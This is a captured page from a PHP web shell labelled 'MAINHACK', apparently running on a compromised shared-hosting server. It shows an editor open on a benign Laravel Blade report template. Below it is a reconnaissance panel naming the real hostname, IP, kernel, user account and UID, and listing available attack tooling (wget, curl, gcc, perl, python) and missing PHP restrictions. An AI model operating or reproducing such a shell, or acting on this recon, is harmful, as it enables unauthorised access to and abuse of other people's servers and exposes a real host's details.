[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: trending_products.blade.php
@extends('layouts.app') @section('title', __('report.trending_products')) @section('content') <!-- Content Header (Page header) --> <section class="content-header"> <h1>{{ __('report.trending_products')}}</h1> </section> <!-- Main content --> <section class="content"> <div class="row no-print"> <div class="col-md-12"> @component('components.filters', ['title' => __('report.filters')]) {!! Form::open(['url' => action([\App\Http\Controllers\ReportController::class, 'getTrendingProducts']), 'method' => 'get' ]) !!} <div class="col-md-3"> <div class="form-group"> {!! Form::label('location_id', __('purchase.business_location') . ':') !!} {!! Form::select('location_id', $business_locations, null, ['class' => 'form-control select2', 'style' => 'width:100%']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('category_id', __('product.category') . ':') !!} {!! Form::select('category', $categories, null, ['placeholder' => __('messages.all'), 'class' => 'form-control select2', 'style' => 'width:100%', 'id' => 'category_id']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('sub_category_id', __('product.sub_category') . ':') !!} {!! Form::select('sub_category', array(), null, ['placeholder' => __('messages.all'), 'class' => 'form-control select2', 'style' => 'width:100%', 'id' => 'sub_category_id']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('brand', __('product.brand') . ':') !!} {!! Form::select('brand', $brands, null, ['placeholder' => __('messages.all'), 'class' => 'form-control select2', 'style' => 'width:100%']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('unit', __('product.unit') . ':') !!} {!! Form::select('unit', $units, null, ['placeholder' => __('messages.all'), 'class' => 'form-control select2', 'style' => 'width:100%']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('trending_product_date_range',__('report.date_range') . ':') !!} {!! Form::text('date_range', null, ['placeholder' => __('lang_v1.select_a_date_range'), 'class' => 'form-control', 'id' => 'trending_product_date_range', 'readonly']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('limit', __('lang_v1.no_of_products') . ':') !!} @show_tooltip(__('tooltip.no_of_products_for_trending_products')) {!! Form::number('limit', 5, ['placeholder' => __('lang_v1.no_of_products'), 'class' => 'form-control', 'min' => 1]); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('product_type', __('product.product_type') . ':') !!} {!! Form::select('product_type', ['single' => __('lang_v1.single'), 'variable' => __('lang_v1.variable'), 'combo' => __('lang_v1.combo')], request()->input('product_type'), ['placeholder' => __('messages.all'), 'class' => 'form-control select2', 'style' => 'width:100%']); !!} </div> </div> <div class="col-sm-12"> <button type="submit" class="tw-dw-btn tw-dw-btn-primary tw-text-white pull-right">@lang('report.apply_filters')</button> </div> {!! Form::close() !!} @endcomponent </div> </div> <div class="row"> <div class="col-xs-12"> @component('components.widget', ['class' => 'box-primary']) @slot('title') @lang('report.top_trending_products') @show_tooltip(__('tooltip.top_trending_products')) @endslot {!! $chart->container() !!} @endcomponent </div> </div> <div class="row no-print"> <div class="col-sm-12"> <button type="button" class="tw-dw-btn tw-dw-btn-primary tw-text-white pull-right" aria-label="Print" onclick="window.print();" ><i class="fa fa-print"></i> @lang( 'messages.print' )</button> </div> </div> </section> <!-- /.content --> @endsection @section('javascript') <script src="{{ asset('js/report.js?v=' . $asset_v) }}"></script> {!! $chart->script() !!} @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285